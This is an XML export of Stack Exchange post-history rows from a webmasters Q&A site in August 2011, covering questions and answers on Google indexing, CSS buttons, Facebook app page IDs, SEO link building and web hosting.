  <row Id="44407" PostHistoryTypeId="25" PostId="18273" RevisionGUID="8dd01b60-1547-4c81-8448-066e32ffa65d" CreationDate="2011-08-16T03:34:44.473" Comment="http://twitter.com/#!/StackWebmasters/status/103308684469346304" />
  <row Id="44408" PostHistoryTypeId="2" PostId="18287" RevisionGUID="1ddec240-6cb2-49c3-8085-675f98afd35b" CreationDate="2011-08-16T05:41:36.610" UserId="4150" Text="Recently I have created a website with lakhs of unique pages. A week before Google indexed about 2.5 lakhs pages but it has decreased to 90k urls today (site:domain.com). What should I do to index all the pages again? And why all these pages got de-indexed from Google?." />
  <row Id="44409" PostHistoryTypeId="1" PostId="18287" RevisionGUID="1ddec240-6cb2-49c3-8085-675f98afd35b" CreationDate="2011-08-16T05:41:36.610" UserId="4150" Text="Why the # of indexed pages got dicreased?" />
  <row Id="44410" PostHistoryTypeId="3" PostId="18287" RevisionGUID="1ddec240-6cb2-49c3-8085-675f98afd35b" CreationDate="2011-08-16T05:41:36.610" UserId="4150" Text="&lt;google-webmaster-tools&gt;&lt;indexing&gt;&lt;google-index&gt;" />
  <row Id="44411" PostHistoryTypeId="2" PostId="18288" RevisionGUID="98eec828-3cde-4685-9ca0-84aacc32ff5d" CreationDate="2011-08-16T06:10:34.370" UserId="693" Text="I want to know if it would be better to make an image for the buttons that I use, or can I get away with pure CSS. Ill give you the code.&#xD;&#xA;&#xD;&#xA;html:&#xD;&#xA;&#xD;&#xA;    &lt;ul id=&quot;buttons-dev&quot;&gt;&#xD;&#xA;      &lt;li id=&quot;button-plan&quot;&gt;P&lt;span id=&quot;text-plan&quot;&gt;plan&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li id=&quot;button-develop&quot;&gt;D&lt;span id=&quot;text-develop&quot;&gt;develop&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li id=&quot;button-host&quot;&gt;H&lt;span id=&quot;text-host&quot;&gt;host&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li id=&quot;button-support&quot;&gt;S&lt;span id=&quot;text-support&quot;&gt;support&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Now the CSS&#xD;&#xA;&#xD;&#xA;    ul#buttons-dev li{&#xD;&#xA;    	color:#FFF;&#xD;&#xA;    	font-size:10px;&#xD;&#xA;    	margin:4px 3px;&#xD;&#xA;    	height:15px;&#xD;&#xA;    	line-height:14px;&#xD;&#xA;    	text-align:center;&#xD;&#xA;    	width:15px;&#xD;&#xA;    	cursor:pointer;&#xD;&#xA;    	/*rounding-border*/&#xD;&#xA;    	-webkit-border-radius: 10px;&#xD;&#xA;    	-moz-border-radius: 10px;&#xD;&#xA;    	border-radius: 10px;&#xD;&#xA;    	border:2px solid #FFF;&#xD;&#xA;    	/*shaddow*/&#xD;&#xA;    	-webkit-box-shadow: 1px 1px 2px #33454E;&#xD;&#xA;    	-moz-box-shadow: 1px 1px 2px #33454E;&#xD;&#xA;    	box-shadow: 1px 1px 2px #33454E;&#xD;&#xA;    	/*select*/&#xD;&#xA;    	-moz-user-select: none;&#xD;&#xA;    	-khtml-user-select: none;&#xD;&#xA;    	user-select: none;&#xD;&#xA;    }&#xD;&#xA;    li#button-plan     {background-color:#CE534D;}&#xD;&#xA;    li#button-develop  {background-color:#E2B842;}&#xD;&#xA;    li#button-host     {background-color:#64B6B1;}&#xD;&#xA;    li#button-support  {background-color:#B7CF79;}&#xD;&#xA;    &#xD;&#xA;    ul#buttons-dev li span{&#xD;&#xA;    	display:none;&#xD;&#xA;    	font-weight:bold;&#xD;&#xA;    	font-size:14px;&#xD;&#xA;    	left:77px;&#xD;&#xA;    	position:absolute;&#xD;&#xA;    	top:18px;&#xD;&#xA;    	width:95px;&#xD;&#xA;    	text-align:center;&#xD;&#xA;    }&#xD;&#xA;    span#text-plan      {color:#CE534D;}&#xD;&#xA;    span#text-develop   {color:#E2B842;}&#xD;&#xA;    span#text-host      {color:#64B6B1;}&#xD;&#xA;    span#text-support   {color:#B7CF79;}&#xD;&#xA;    &#xD;&#xA;    li#button-plan:hover span, li#button-develop:hover span,&#xD;&#xA;    li#button-host:hover span, li#button-support:hover span{&#xD;&#xA;    	display:block;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Note: I am using this on at least 8 parts of a single page.**&#xD;&#xA;&#xD;&#xA;That is why I want to know if it would be better to just use an image. Maybe I am overloading the DOM with all these elements.&#xD;&#xA;&#xD;&#xA;Or can I just get away with is. I find this to be easier when I want to change stuff. Don't need to go into the whole photoshop/ftp etc." />
  <row Id="44412" PostHistoryTypeId="1" PostId="18288" RevisionGUID="98eec828-3cde-4685-9ca0-84aacc32ff5d" CreationDate="2011-08-16T06:10:34.370" UserId="693" Text="Buttons in pure CSS3 or use image sprite" />
  <row Id="44413" PostHistoryTypeId="3" PostId="18288" RevisionGUID="98eec828-3cde-4685-9ca0-84aacc32ff5d" CreationDate="2011-08-16T06:10:34.370" UserId="693" Text="&lt;html&gt;&lt;css&gt;&lt;optimization&gt;" />
  <row Id="44414" PostHistoryTypeId="25" PostId="18270" RevisionGUID="78bb9643-08c6-4361-9008-401a3e44d5b3" CreationDate="2011-08-16T06:34:44.540" Comment="http://twitter.com/#!/StackWebmasters/status/103353983850127361" />
  <row Id="44415" PostHistoryTypeId="2" PostId="18289" RevisionGUID="9e28adea-b83e-4d36-b091-5a02364d5af0" CreationDate="2011-08-16T08:04:59.510" UserId="8036" Text="With Facebook API, within a custom app added to a fanpage, how do I recognize the fanpage ID?&#xD;&#xA;&#xD;&#xA;Here's what I'm trying to achieve:&#xD;&#xA;&#xD;&#xA;- user goes to the full-width canvas app, he authorizes himself there and allows the app to add a tab to one of the fanpages he's administrating&#xD;&#xA;- every Facebook user going to that fanpage, sees the tab and the tab contains content specific to that fanpage (that's why I need to know the fanpage ID)&#xD;&#xA;- if fanpage administrator wants to change something, he goes to the full-width canvas and logs in to my service (here's where I store what he wants to show in his Fanpage)" />
  <row Id="44416" PostHistoryTypeId="1" PostId="18289" RevisionGUID="9e28adea-b83e-4d36-b091-5a02364d5af0" CreationDate="2011-08-16T08:04:59.510" UserId="8036" Text="Facebook applications - how to get to know page ID?" />
  <row Id="44417" PostHistoryTypeId="3" PostId="18289" RevisionGUID="9e28adea-b83e-4d36-b091-5a02364d5af0" CreationDate="2011-08-16T08:04:59.510" UserId="8036" Text="&lt;facebook&gt;" />
  <row Id="44418" PostHistoryTypeId="2" PostId="18290" RevisionGUID="a4848556-6420-43aa-9bba-8aa555d1cc9a" CreationDate="2011-08-16T08:39:52.310" UserId="146" Text="A friend of mine is starting a business. The business model is that his website is the medium through which businesses compete with each other and bid to provide a service to members of the public. He has no technical background but he knows the industry he's servicing well. He hired a web design company to create the site and the idea is that once everything is up, the site will kind of manage itself in that consumers will put up requests to be bid on, businesses will bid to provide the service and consumers will accept bids. &#xD;&#xA;&#xD;&#xA;Given that he has no technical background, it's unlikely that he will be able to resolve any technical issues. What kind of support should he seek from the web design company post-launch? He can't afford to have a full-time technical person on the payroll right now. what are the likely problems he can expect to run into? I'm thinking things like browser incompatibility as updates come out. Potentially performance issues as traffic ramps up if it takes off." />
  <row Id="44419" PostHistoryTypeId="1" PostId="18290" RevisionGUID="a4848556-6420-43aa-9bba-8aa555d1cc9a" CreationDate="2011-08-16T08:39:52.310" UserId="146" Text="What are the challenges for a non-technical person running a web based business?" />
  <row Id="44420" PostHistoryTypeId="3" PostId="18290" RevisionGUID="a4848556-6420-43aa-9bba-8aa555d1cc9a" CreationDate="2011-08-16T08:39:52.310" UserId="146" Text="&lt;management&gt;" />
  <row Id="44421" PostHistoryTypeId="2" PostId="18291" RevisionGUID="f889dd63-eb52-44ca-b7c4-8407ffde3dcf" CreationDate="2011-08-16T09:23:26.090" UserId="8009" Text="This may seem like a fairly trivial question, but in it's most basic form - How do you *do* SEO?&#xD;&#xA;&#xD;&#xA;To go into a little more depth, presume the website in question that we want to optimize is 100% complete as far as on-page optimization goes - great content, perfect SEO-friendly HTML markup. &#xD;&#xA;&#xD;&#xA;I don't consider myself 'new' to SEO at all, but past this point it seems like the most obvious activity is link building. I don't know if it's just me, but I'm finding this incredibly hard. If it were a humour site with lots of viral content, I would just post my content in humour threads on various forums and let links accrue naturally, but the site in question is a commercial site - online store - and I can't think of anywhere that might want to link to my content. I don't want to spam and my understanding is that submitting to random directories is of little to no value since my site has already been indexed by Google (past point of indexation, I doubt adding any further links would have much/any value at all). My target audience are 'installers', so short of looking for 'installer' forums relative to my company's products, I'm not sure where else would be relevant.&#xD;&#xA;&#xD;&#xA;An obvious step for where to start would be to analyse our competitor's back links, but most of those are spammy directories or from a 'SEO firm' which have just used their link farm. There is the odd giant site that has links from websites like the BBC to pages not relevant to the products on offer, but there isn't much we could offer in the way of alternative content that would invoke people to link to us either.&#xD;&#xA;&#xD;&#xA;Ideas?&#xD;&#xA;&#xD;&#xA;My question is applicable to any site, not just e-commerce. I guess my main problem is that my target audience aren't of a generation that live and breath the internet, meaning there aren't many relevant websites to gain links from.&#xD;&#xA;&#xD;&#xA;How do you sit down and 'do' SEO past on-page optimzation? Presumably link building. If you have an audience that aren't likely to be webmasters themselves, you don't stand a chance of being linked to, so where do you turn?&#xD;&#xA;&#xD;&#xA;(Obviously I undertake other marketing activities - we have a healthy base of 3-5k emails (given willingly at exhibitions/trade shows) that we can use to promote ourselves, as well as social networks and so on, but we are only really promoting ourselves to people that already know about us. We need to expand - with SEO being probably one of the most promising ways to do so (in theory))." />
  <row Id="44422" PostHistoryTypeId="1" PostId="18291" RevisionGUID="f889dd63-eb52-44ca-b7c4-8407ffde3dcf" CreationDate="2011-08-16T09:23:26.090" UserId="8009" Text="How do you 'do' SEO past on-page optimization?" />
  <row Id="44423" PostHistoryTypeId="3" PostId="18291" RevisionGUID="f889dd63-eb52-44ca-b7c4-8407ffde3dcf" CreationDate="2011-08-16T09:23:26.090" UserId="8009" Text="&lt;seo&gt;&lt;website-promotion&gt;" />
  <row Id="44424" PostHistoryTypeId="25" PostId="18267" RevisionGUID="5ae83a96-6722-46ba-85f8-8ed3ea2e8824" CreationDate="2011-08-16T09:34:45.013" Comment="http://twitter.com/#!/StackWebmasters/status/103399284048793600" />
  <row Id="44425" PostHistoryTypeId="17" PostId="18292" RevisionGUID="3941dc39-79b0-45f3-8bbc-a2d46d025470" CreationDate="2011-08-16T09:37:34.250" UserId="-1" Comment="from http://superuser.com/questions/322782/network-strange-problem" Text="" />
  <row Id="44426" PostHistoryTypeId="2" PostId="18292" RevisionGUID="9e56b9f6-7bfa-4e3a-884c-1350a0defc1e" CreationDate="2011-08-13T22:07:46.723" UserDisplayName="Ali" Text="I have a CPanel server with 5 IPs and a few domains.&#xD;&#xA;&#xD;&#xA;During night, access to main domain through HTTP return 324 no response many times. After several refresh it comes but many assets won't load and return 324. Using HTTPS is fine. During day HTTP is also fine.&#xD;&#xA;&#xD;&#xA;But another domain on that very sever works fine all the day through HTTP.&#xD;&#xA;&#xD;&#xA;The server DNS are ns1 and ns2 of the first domain. &#xD;&#xA;Second domain is on the shared IP and first domain has a dedicated IP.&#xD;&#xA;&#xD;&#xA;I cant resolve the problem :( and appreciate any help so much!" />
  <row Id="44427" PostHistoryTypeId="1" PostId="18292" RevisionGUID="9e56b9f6-7bfa-4e3a-884c-1350a0defc1e" CreationDate="2011-08-13T22:07:46.723" UserDisplayName="Ali" Text="Network strange problem" />
  <row Id="44428" PostHistoryTypeId="3" PostId="18292" RevisionGUID="9e56b9f6-7bfa-4e3a-884c-1350a0defc1e" CreationDate="2011-08-13T22:07:46.723" UserDisplayName="Ali" Text="&lt;networking&gt;" />
  <row Id="44429" PostHistoryTypeId="2" PostId="18293" RevisionGUID="0e6afbda-c2a3-4a80-9855-323f893914e7" CreationDate="2011-08-16T09:39:45.417" UserId="8009" Text="The 'site:' indiciator is not a reliable operator. Google won't de-index your data, but probably just choose not to show it in the SERPs (for a number of reasons that can't be determined due to the vagueness of the question) - though as I mentioned in my comment, with such a large site of 'unique' content the quality may be fairly low." />
  <row Id="44430" PostHistoryTypeId="5" PostId="18287" RevisionGUID="e1a46f7d-dbc6-4a08-a793-ca46c0199f45" CreationDate="2011-08-16T09:50:01.960" UserId="8009" Comment="Changed 'lakh's to a more universally understood number format." Text="Recently I have created a website with hundreds of thousands of unique pages. A week before Google indexed about 250,000 pages but it has decreased to 90k urls today (site:domain.com). What should I do to index all the pages again? And why all these pages got de-indexed from Google?." />
  <row Id="44431" PostHistoryTypeId="24" PostId="18287" RevisionGUID="e1a46f7d-dbc6-4a08-a793-ca46c0199f45" CreationDate="2011-08-16T09:50:01.960" Comment="Proposed by 8009 approved by 7198 edit id of 491" />
  <row Id="44432" PostHistoryTypeId="5" PostId="16949" RevisionGUID="0bce3eca-4da6-4ed6-8290-51be26e2ada3" CreationDate="2011-08-16T10:16:38.270" UserId="7964" Comment="A lot of unnecessary tangents" Text="What would it cost or is there already a system with a CMS like Joomla&#xD;&#xA;that would create the back-end of a website like this one:&#xD;&#xA;http://www.appliance-appointment.com/" />
  <row Id="44433" PostHistoryTypeId="24" PostId="16949" RevisionGUID="0bce3eca-4da6-4ed6-8290-51be26e2ada3" CreationDate="2011-08-16T10:16:38.270" Comment="Proposed by 7964 approved by 1064 edit id of 487" />
  <row Id="44434" PostHistoryTypeId="5" PostId="18047" RevisionGUID="2bdd7fd8-bf68-4281-ba94-2ca1cf543bca" CreationDate="2011-08-16T10:16:47.130" UserId="9238" Comment="Took out tracking id. Could be used in error or on purpose by another party." Text="I've followed Google's instructions on tracking iframed content on another domain ([http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#trackingIFrames][1]) as best I can, yet there is still no data showing up in Analytics for the iframed page. &#xD;&#xA;&#xD;&#xA;Parent page ([http://www.blackangus.com/primeclub/][2]):&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-xxxxxxx-xx']);&#xD;&#xA;        _gaq.push(['_setDomainName', 'blackangus.com']);&#xD;&#xA;        _gaq.push(['_setAllowLinker', true]); &#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;        (function() {&#xD;&#xA;            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;        })();&#xD;&#xA;&#xD;&#xA;        &#xD;&#xA;        var iframeLink = &quot;http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp&quot;;&#xD;&#xA;        jQuery(function() {&#xD;&#xA;            _gaq.push(function() {&#xD;&#xA;                var pageTracker = _gat._getTrackerByName();&#xD;&#xA;                iframeLink = pageTracker._getLinkerUrl(iframeLink);&#xD;&#xA;                jQuery(&quot;#joinform&quot;).attr(&quot;src&quot;, iframeLink);&#xD;&#xA;            });&#xD;&#xA;        });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And the iframed page([http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp][3]):&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    	var _gaq = _gaq || []; &#xD;&#xA;    	_gaq.push(['_setAccount', 'UA-xxxxxx-xx']); &#xD;&#xA;    	_gaq.push(['_setDomainName', 'blackangus.com']); &#xD;&#xA;    	_gaq.push(['_setAllowHash', 'false']); &#xD;&#xA;    	_gaq.push(['_setAllowLinker', true]); &#xD;&#xA;    	_gaq.push(['_trackPageview']); &#xD;&#xA;    	&#xD;&#xA;    	(function() { var ga = document.createElement('script'); &#xD;&#xA;    		ga.type = 'text/javascript'; &#xD;&#xA;    		ga.async = true; &#xD;&#xA;    		ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') '.google-analytics.com/ga.js'; &#xD;&#xA;    		var s = document.getElementsByTagName('script')[0]; &#xD;&#xA;    		s.parentNode.insertBefore(ga, s); &#xD;&#xA;    	})(); &#xD;&#xA;    &lt;/script&gt; &#xD;&#xA;&#xD;&#xA;What am I doing wrong? Why won't the iframed page show up in Analytics?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#trackingIFrames&#xD;&#xA;  [2]: http://www.blackangus.com/primeclub/&#xD;&#xA;  [3]: http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp" />
  <row Id="44435" PostHistoryTypeId="24" PostId="18047" RevisionGUID="2bdd7fd8-bf68-4281-ba94-2ca1cf543bca" CreationDate="2011-08-16T10:16:47.130" Comment="Proposed by 9238 approved by 1064 edit id of 490" />
  <row Id="44436" PostHistoryTypeId="6" PostId="18266" RevisionGUID="733edf46-a768-461a-a439-36d2352711a4" CreationDate="2011-08-16T10:17:13.980" UserId="7964" Comment="Post actually focuses on performance load time and more than photos." Text="&lt;load-time&gt;&lt;photo&gt;" />
  <row Id="44437" PostHistoryTypeId="24" PostId="18266" RevisionGUID="733edf46-a768-461a-a439-36d2352711a4" CreationDate="2011-08-16T10:17:13.980" Comment="Proposed by 7964 approved by 1064 edit id of 489" />
  <row Id="44438" PostHistoryTypeId="5" PostId="18269" RevisionGUID="607ed1e3-7786-4c84-8ad6-ede92279ea5d" CreationDate="2011-08-16T10:17:25.900" UserId="5806" Comment="Removed DPI, No impact on display quality." Text="In my experience, this is more a balance between load speed and photo quality.  Given i'm a professional photographer myself, I understand this difficult challenge.&#xD;&#xA;&#xD;&#xA;I feel that the internet has gone a long way and there are now some great techniques and tools that you can utilize to avoid this issues. None of these techniques are germane or specific to a photography website.&#xD;&#xA;&#xD;&#xA;**Regarding your first question:** How much quality can I sacrifice against professionality?&#xD;&#xA;&#xD;&#xA;In my experience, generally you can find a balance by playing with the settings of a jpeg image. Settings of 70-85 quality will be sufficient.&#xD;&#xA;&#xD;&#xA;**Your second question:** Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?&#xD;&#xA;&#xD;&#xA;Yes, any pixelation and/or poor quality of an image will reflect poorly if the photos aren't very high quality. A photographer's work is solely dependent on visual quality and attention to visual detail. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Techniques to consider**&#xD;&#xA;&#xD;&#xA;I would avoid extreme compression if you must. The internet provides lots of great techniques to improve load:&#xD;&#xA;&#xD;&#xA; - **Provide excellent user experience**: Providing your visitors rich feedback will reduce frustration and will keep them at your website longer. Consider the following UI related techniques:&#xD;&#xA;   - Utilizing a loader  &#xD;&#xA;   - Interactive image zoom makes a lot of sense.&#xD;&#xA; - **Dynamic Image Caching** - Utilize website software that generates different sizes of images for the user ahead of time. If you're using a LAMP stack PHP offers two great code libraries ([GD][1] &amp; [Imagemagick][2] and [lots of great scripts][3] that can do this for you.&#xD;&#xA;&#xD;&#xA; - **Utilize a CDN**: Consider architectural (server) setups. Like loading static images from a CDN or a different network altogether will provide you a quicker load time.&#xD;&#xA;&#xD;&#xA; - **Consider javascript lazy loading**: There are [lots][4] of javascript plugins that provide &quot;lazyloading&quot; images; that wait to load the image until it's absolutely necessary.&#xD;&#xA;&#xD;&#xA; - **Utilize a image resizing Service**: There's  a great thread right below this one about this very topic! http://webmasters.stackexchange.com/questions/18240/smush-it-or-similar-lossless-image-shrinking-with-api&#xD;&#xA;&#xD;&#xA; - **Finally, Review [YUI Performance guide][5]**: Yahoo offers an awesome guide on performance. Some of these tips are mentioned above already but this guide is pretty comprehensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/intro.image.php&#xD;&#xA;  [2]: http://www.imagemagick.org/script/index.php&#xD;&#xA;  [3]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=dynamic%20image%20resizer%20php&#xD;&#xA;  [4]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=lazy%20loader%20javascript&#xD;&#xA;  [5]: http://developer.yahoo.com/performance/" />
  <row Id="44439" PostHistoryTypeId="24" PostId="18269" RevisionGUID="607ed1e3-7786-4c84-8ad6-ede92279ea5d" CreationDate="2011-08-16T10:17:25.900" Comment="Proposed by 5806 approved by 1064 edit id of 488" />
  <row Id="44440" PostHistoryTypeId="2" PostId="18294" RevisionGUID="6bbd9be1-0b89-4205-8aca-f6ffa67b8509" CreationDate="2011-08-16T10:39:35.553" UserId="1064" Text="&gt; ... presume the website in question that we want to optimize is 100%&#xD;&#xA;&gt; complete as far as on-page optimization goes - great content, perfect&#xD;&#xA;&gt; SEO-friendly HTML markup ...&#xD;&#xA;&#xD;&#xA;If your content is solid, you've eliminated any improper server responses or errors, the site passes Google's [PageSpeed][1] test with flying colors, and you are keeping on top of trending keywords for your subject, there really *isn't* any more search engine optimizing to do.&#xD;&#xA;&#xD;&#xA;Link building is more a function of site marketing and public relations than search engine optimization (notable exception: black hat schemes intended to fool search engines).&#xD;&#xA;&#xD;&#xA;If the budget for marketing and PR is limited, consider expanding the site's functionality to include services visitors can use (i.e. &quot;take our health quiz&quot;) or investing in search engine marketing like Google's AdWords.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/" />
  <row Id="44441" PostHistoryTypeId="2" PostId="18295" RevisionGUID="8eff728a-4aeb-4712-b664-50a7e8da89b2" CreationDate="2011-08-16T10:53:45.353" UserId="7198" Text="###The short version for generating 'useful' backlinks  &#xD;&#xA;&#xD;&#xA; 1. Start a blog.&#xD;&#xA; 2. Fill it with remarkable things.&#xD;&#xA; 3. If you don't currently have remarkable things to fill it with, do or make something related worth talking about.&#xD;&#xA;&#xD;&#xA;###The longer version&#xD;&#xA;&#xD;&#xA;You're right: for a lot of businesses, it's not easy to get links. If you can't get your customers to link to you, there aren't any obvious directories related to your field&lt;sup&gt;1&lt;/sup&gt;, and your standards are high enough not to stoop to buying or trading links, what do you do?&#xD;&#xA;&#xD;&#xA;In 2008 Eric Enge asked Matt Cutts, an employee from Google's 'Search Quality' (web spam) team, [the same question](http://www.stonetemple.com/articles/interview-matt-cutts-061608.shtml). On the subject of what type of links people should be seeking to build, here's what he said:&#xD;&#xA;&#xD;&#xA;&gt; So, what are the links that will stand the test of time? Those links&#xD;&#xA;&gt; are typically given voluntarily. It is an editorial link by someone,&#xD;&#xA;&gt; and it’s someone that’s informed. They are not misinformed, they are&#xD;&#xA;&gt; not tricked; there is no bait and switch involved. It’s because&#xD;&#xA;&gt; somebody thinks that something is so cool, so useful, or so helpful&#xD;&#xA;&gt; that they want to make little sign posts so that other people on the&#xD;&#xA;&gt; web can find that out.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Now, there is also the notion of link bait or things that are just&#xD;&#xA;&gt; cool; maybe not helpful, but really interesting. And those can stand&#xD;&#xA;&gt; the test of time as well. Those links are links generated because of&#xD;&#xA;&gt; the sheer quality of your business or the value add proposition that&#xD;&#xA;&gt; you have that’s unique about your business. Those are the things that&#xD;&#xA;&gt; no one else can get, because no one else has them or offers the exact&#xD;&#xA;&gt; same thing that your business offers.&#xD;&#xA;&#xD;&#xA;On the subject of how to get those sort of links, he offers several pieces of advice. I've cherry-picked and summarised three of them, which each cited real-world examples:&#xD;&#xA;&#xD;&#xA;- **If your company or product is interesting enough to talk about, talk about it.** He uses the example of Zappos' hiring policy: they hire staff, train them, and then offer them $1,000 to quit, ensuring those who stay are fairly loyal and working for love as well as money. Zappos blogged about this policy and generated a lot of links as well as national media interest.&#xD;&#xA;&#xD;&#xA;- **If your company or product isn't interesting enough to talk about, talk about something that is.** Cutts suggests doing original, interesting research related to your field and sharing the results in a blog post. He gives the example of Danny Sullivan, editor of Search Engine Land, who sent all of his email to a Hotmail, Gmail, and Yahoo email account, then measured which of them detected the most spam. It turned out that Gmail is much better than the other two, which caught the attention of Google, and led to them publishing a link to the research on their blog.&#xD;&#xA;&#xD;&#xA;- **If your company or product isn't interesting enough to talk about, make something that is.** The 'something' can be a physical product, a piece of software, or another download or takeaway, but it should be something that's incredibly useful to a large group who'd like it enough to share it. Cutts gives the example of eBay, who, while not in desperate need of inbound links, created a Firefox plugin to watch auctions. Lots of eBayers liked it, so they linked to it.&#xD;&#xA;&#xD;&#xA;And *where* do you write about these sorts of things? Typically, on a blog under the same domain as your company website. Getting people to willingly link to your product pages is going to be tricky unless you're selling something that everyone wants, but you'll have more luck encouraging people to link to an interesting blog post. From there, you can use your blog to sell and promote your products if you wish.&#xD;&#xA;&#xD;&#xA;In short, you have to either *do* or *sell* things that are extraordinary in the first place, or create and offer content that's unique and interesting enough to be shared. When you stop thinking of 'link building' as physically adding links to pages all over the Web, and start thinking of it as getting people to talk about you, it starts to become easier to imagine the sorts of things that might result in incoming links.&#xD;&#xA;&#xD;&#xA;As a footnote, it is possible to create an online shop that generates huge amounts of inbound links to the product and sales pages (e.g. [ThinkGeek,](http://www.thinkgeek.com/) [Firebox](http://www.firebox.com/)), but it's a lot harder when you're selling items that aren't particularly unique or desirable, which makes generating traffic in other ways a better option.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&lt;sup&gt;1: Even if there were, I think you're right in your feeling that it's often best not to bother with link directories.&lt;/sup&gt;" />
  <row Id="44442" PostHistoryTypeId="14" PostId="18229" RevisionGUID="4e000a3c-fc1c-40da-9b52-f3ea8fd5fb94" CreationDate="2011-08-16T12:10:47.330" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44443" PostHistoryTypeId="17" PostId="18229" RevisionGUID="31dfca1d-9ba2-4a43-8950-7aeae817876f" CreationDate="2011-08-16T12:10:47.330" UserId="1064" Comment="to http://stackoverflow.com/questions/7078010/generating-dynamic-graphs" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44444" PostHistoryTypeId="10" PostId="18229" RevisionGUID="26b28bcf-aaad-4987-b28e-2daff24f6020" CreationDate="2011-08-16T12:10:45.100" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44445" PostHistoryTypeId="25" PostId="18291" RevisionGUID="e5b8e5a3-722a-4792-9263-441f6a9eba67" CreationDate="2011-08-16T12:34:45.233" Comment="http://twitter.com/#!/StackWebmasters/status/103444584247468034" />
  <row Id="44446" PostHistoryTypeId="2" PostId="18296" RevisionGUID="78c5dea8-3d82-48d7-bc9a-57631682c837" CreationDate="2011-08-16T12:46:22.743" UserId="5806" Text="First, the **Google Webmaster Tools will tell you how many pages are in the index**.&#xD;&#xA;&#xD;&#xA;Google may have dropped pages from its index from multiple reasons, which **they will NOT tell you**, but the most probable is duplication or very similar content.&#xD;&#xA;&#xD;&#xA;If you feel that Google is not indexing enough content then you should check the webmaster tools under site-parameters which you can **specify how Google treats each parameter in your URLs**. This will let you tell Google which parameter leads to different content or even different arrangements of the same content. If you have not been there in a while, it changed less than a month ago and there are much possibilities than before.&#xD;&#xA;&#xD;&#xA;You can also give them a text or XML sitemap in case your URLs are too hard to crawl because of the complexity of parameters. If you do, Google will tell you how many URLs are in your sitemap and how many of those it indexed (Google does not always index all URLs in the Sitemap).&#xD;&#xA;&#xD;&#xA;The last possibility is an error on your side such as incorrect canonicals, robots.txt or noindex meta." />
  <row Id="44447" PostHistoryTypeId="10" PostId="18252" RevisionGUID="395bcde9-7e99-4390-899f-216341d83250" CreationDate="2011-08-16T12:51:36.537" UserId="108" CloseReasonId="3" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44448" PostHistoryTypeId="2" PostId="18297" RevisionGUID="c7307080-7111-4317-8878-526b9f1c9e92" CreationDate="2011-08-16T13:00:03.153" UserId="9615" Text="I am looking for some hostings support [SSH][1] with price lower than 5 USD.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Secure_Shell" />
  <row Id="44449" PostHistoryTypeId="1" PostId="18297" RevisionGUID="c7307080-7111-4317-8878-526b9f1c9e92" CreationDate="2011-08-16T13:00:03.153" UserId="9615" Text="Hostings support SSH with price lower than 5 USD" />
  <row Id="44450" PostHistoryTypeId="3" PostId="18297" RevisionGUID="c7307080-7111-4317-8878-526b9f1c9e92" CreationDate="2011-08-16T13:00:03.153" UserId="9615" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;host&gt;" />
  <row Id="44451" PostHistoryTypeId="17" PostId="18298" RevisionGUID="49339a31-50f3-4de1-8af4-fb5f35d0b59e" CreationDate="2011-08-16T13:03:51.897" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18151/which-cms-system-for-a-community-based-site" Text="" />
